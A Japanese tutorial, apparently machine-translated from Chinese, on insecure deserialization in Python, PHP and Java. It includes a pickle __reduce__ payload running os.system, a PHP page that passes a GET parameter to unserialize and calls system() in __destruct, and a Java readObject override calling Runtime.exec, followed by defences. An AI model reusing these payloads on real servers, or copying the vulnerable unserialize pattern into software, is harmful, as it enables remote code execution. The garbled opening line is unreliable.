脆弱性をデシリアライズする方法すら知りません。ハードウェアに必要な資格は何ですか
1. デシリアライゼーションの脆弱性の原因
シリアライゼーション:オブジェクトを一連のバイトに変換するプロセス、つまり、オブジェクトを格納または送信できるデータに変換するプロセス。たとえば、メモリ内のオブジェクトをバイナリ データ ストリームまたはファイルに変換します。これは、ネットワーク転送中にバイト形式または XML 形式にすることができます。
逆シリアル化:一連のバイトをオブジェクトに復元するプロセス。つまり、保存または送信できるデータをオブジェクトに変換するプロセス。バイナリ データ ストリームまたはファイルをメモリにロードし、オブジェクトとして復元するなど。
本人確認、ファイルの読み書き、データ転送などの機能では、デシリアライゼーション インターフェイスでアクセス制御が実行されず、シリアライズされたデータが暗号化および署名されず、暗号化キーがハードコーディングされます (Shiro 1.2.4 など)。安全でないデシリアライズ フレームワーク ライブラリ (Fastjson 1.2.24 など) または関数の場合、シリアライズされたデータはユーザーによって制御できるため、攻撃者は悪意のあるシリアライズされたデータ (特定のコードまたはコマンドを実行するデータ) を慎重に作成して、アプリケーションに渡すことができます。 、アプリケーションがオブジェクトを逆シリアル化して攻撃者の目的を達成するときに、攻撃者によって作成された悪意のあるコードを実行します
2. 脆弱性悪用の原則
Python や PHP では、通常、マジック メソッド (特定のイベントやシーンが発生したときに自動的に呼び出される関数、通常はコンストラクターまたはデストラクタ) を含むクラスを構築し、そのマジック メソッドでコマンド実行またはコード実行を呼び出します。次に、このクラスのオブジェクトをインスタンス化し、シリアル化後にオブジェクトをプログラムに渡します。プログラムがオブジェクトを逆シリアル化すると、マジック メソッドがトリガーされてコマンドまたはコードが実行されます。
Java には魔法のメソッドはありませんが、リフレクション ( reflection
) メカニズムがあります。プログラムの実行状態では、任意のクラスのオブジェクトを構築でき、任意のオブジェクトが属するクラスを知ることができ、メンバー変数を知ることができます。任意のオブジェクトのプロパティやメソッドを呼び出して、プログラム情報を動的に取得し、オブジェクトを動的に呼び出す機能を Java 言語のリフレクション機構と呼びます。通常、リフレクション メカニズムは、コマンドを実行するか、コマンド実行またはコード実行関数を使用してメソッドを直接呼び出して、任意のコード実行を実装するオブジェクトを構築するために使用されます。
3. Python デシリアライゼーションの脆弱性実験
例として pickle モジュールを取り上げます。ブラウザが保存のためにシリアライズされた Cookie をサーバーに渡し、サーバーが何らかの処理の後にデシリアライズして Cookie を復元すると仮定します。
#!/usr/bin/python3
import pickle
# 客户端设置Cookie
set_cookie='fuckhacker'
# 序列化后传递
cookie=pickle.dumps(set_cookie)
print("序列化:",cookie)
# ...
# 服务器接收到序列化后的Cookie
# 反序列化还原Cookie
new_cookie=pickle.loads(cookie)
print("反序列化:",new_cookie)
図に示すように、プログラムが正常に実行されている場合:
pickle モジュールとマジック メソッドを使用して、__reduce__
コマンドを実行するペイロードを生成します。
#!/usr/bin/python3
import pickle
import os
# 定义一个执行命令的类
class exec:
def __init__(self,cmd):
self.cmd=cmd
# __reduce__()函数返回一个元组时 , 第一个元素是一个可调用对象 , 这个对象会在创建对象时被调用,
# 第二个元素是可调用对象的参数,pickle.loads会解决import问题,对于未引入的module会自动尝试import
def __reduce__(self):
return (os.system,(self.cmd,))
# 实例化对象
res=exec('whoami')
# 生成序列化数据
payload=pickle.dumps(res)
print("Payload:",payload)
whoami
コマンドのペイロードを使用して、シリアライズされた Cookie の値を置き換え、RCE エクスプロイトをシミュレートします。通常のプログラムが Cookie 値をデシリアライズすると、__reduce__
コマンドを実行する関数を含む exec クラスが生成されます。
#!/usr/bin/python3
import pickle
# 传递执行whoami命令的序列化数据
cookie=b'\x80\x04\x95\x1e\x00\x00\x00\x00\x00\x00\x00\x8c\x02nt\x94\x8c\x06system\x94\x93\x94\x8c\x06whoami\x94\x85\x94R\x94.'
# 反序列化还原Cookie
new_cookie=pickle.loads(cookie)
図に示すように、プログラムを実行した結果:
4. PHP デシリアライゼーションの脆弱性実験
PHPでは、serialize
通常、関数はシリアライズに使用され、unserialize
関数はデシリアライズに使用されます
PHPでよく使われるマジックメソッド
__construct:当对象被创建时调用
__destruct:当对象被销毁前调用
__sleep:执行serialize函数前调用
__wakeup:执行unserialize函数前调用
__call:在对象中调用不可访问的方法时调用
__callStatic:用静态方法调用不可访问方法时调用
__get:获得类成因变量时调用
__set:设置类成员变量时调用
次のコードを使用して、クラス A を作成し、オブジェクト a をインスタンス化してから、シリアル化されたオブジェクト a の値を出力します。
<?php
// 定义一个类
class A{
var $test = "Hello";
function __construct(){
print "<h1>ABCD</h1>";
}
}
// 实例化一个对象a
$a=new A();
// 序列化对象a
print "Serialize Object A: ".serialize($a)."<br/>";
?>
PHP でシリアル化されたデータには、Python のような関数__construct
や情報は含まれず、クラス名とメンバー変数の情報のみが含まれます。print
したがって、unserialize
関数のパラメーターが制御可能な場合、コードにはデシリアライゼーションの脆弱性を悪用する魔法のメソッドも含まれている必要があります。
次のコードを使用して、魔法のメソッド __destruct を含むクラス A を定義し、オブジェクト a をインスタンス化し、シリアル化されたデータを出力します.オブジェクトが破棄されると、プログラムはシステム関数を呼び出して df コマンドを実行し、次に、 GET メソッドによるパラメータ arg 値はサーバーに対して逆シリアル化されます。
<?php
// 定义一个类
class A{
// 设置变量值为df
var $test = "df";
// 定义析构函数,在类A销毁时执行system("df")
function __destruct(){
print "Execute CMD: ".$this->test."<br/>";
print "Result: ";
system($this->test);
print "<br/>";
}
}
// 实例化一个对象a
$a=new A();
// 序列化对象a
print "Serialize Object A: ".serialize($a)."<br/>";
// GET方式获取参数arg的值
$arg = $_GET['arg'];
// 反序列化参数arg的值
$a_unser = unserialize($arg);
?>
5. Java デシリアライゼーションの脆弱性実験
Java では、通常、Java.io.ObjectOutputStream
クラス内のメソッドはwriteObject
シリアライズに使用され、java.io.ObjectInputStream
クラス内のメソッドはreadObject
デシリアライズに使用されます。次のコードを使用して、文字列をシリアル化および逆シリアル化します。
public class Main {
public static void main(String args[]) throws Exception {
String obj = "hello";
// 将序列化后的数据写入文件a.ser中,当序列化一个对象到文件时, 按照 Java 的标准约定是给文件一个 .ser 扩展名
FileOutputStream fos = new FileOutputStream("a.ser");
ObjectOutputStream os = new ObjectOutputStream(fos);
os.writeObject(obj);
os.close();
// 从文件a.ser中读取数据
FileInputStream fis = new FileInputStream("a.ser");
ObjectInputStream ois = new ObjectInputStream(fis);
// 通过反序列化恢复字符串
String obj2 = (String)ois.readObject();
System.out.println(obj2);
ois.close();
}
}
Java クラスのオブジェクトを正常にシリアライズするには、次の 2 つの条件を満たす必要があります。
- クラスは
java.io.Serializable
インターフェースを実装する必要があります - クラスのすべてのプロパティはシリアライズ可能である必要があります。プロパティがシリアライズ可能でない場合、そのプロパティは短命としてマークする必要があります
次のコードを使用して、オブジェクトをシリアル化し、a.ser ファイルに保存します。
// 定义一个实现 java.io.Serializable 接口的类Test
class Test implements Serializable {
public String cmd="calc";
// 重写readObject()方法
private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException{
// 执行默认的readObject()方法
in.defaultReadObject();
// 执行打开计算器程序的命令
Runtime.getRuntime().exec(cmd);
}
}
public class Main{
public static void main(String args[]) throws Exception{
// 实例化对象test
Test test = new Test();
// 将对象test序列化后写入a.ser文件
FileOutputStream fos = new FileOutputStream("a.ser");
ObjectOutputStream os = new ObjectOutputStream(fos);
os.writeObject(test);
os.close();
}
}
次のコードを使用して、オブジェクトを逆シリアル化します。
// 定义一个实现 java.io.Serializable 接口的类Test
class Test implements Serializable {
public String cmd="calc";
// 重写readObject()方法
private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException{
// 执行默认的readObject()方法
in.defaultReadObject();
// 执行打开计算器程序的命令
Runtime.getRuntime().exec(cmd);
}
}
public class Main{
public static void main(String args[]) throws Exception{
// 从a.ser文件中反序列化test对象
FileInputStream fis = new FileInputStream("a.ser");
ObjectInputStream ois = new ObjectInputStream(fis);
Test objectFromDisk = (Test)ois.readObject();
System.out.println(objectFromDisk.cmd);
ois.close();
}
}
6. 防御方法
- 逆シリアル化されたデータを暗号化または署名し、ハードコードされた暗号化キーと署名キーを使用しない
- デシリアライゼーション インターフェイスに認証と認可を追加する
- 逆シリアル化サービスをローカルでのみリッスンするように設定するか、対応するファイアウォール ポリシーを設定します
- 脆弱なサードパーティ フレームワーク ライブラリの使用を禁止する
- フィルタリング、危険な機能の無効化
- T3 プロトコルをフィルタリングするか、接続可能な IP を制限します
- Nginx リバース プロキシを設定して、t3 プロトコルと http プロトコルの分離を実現する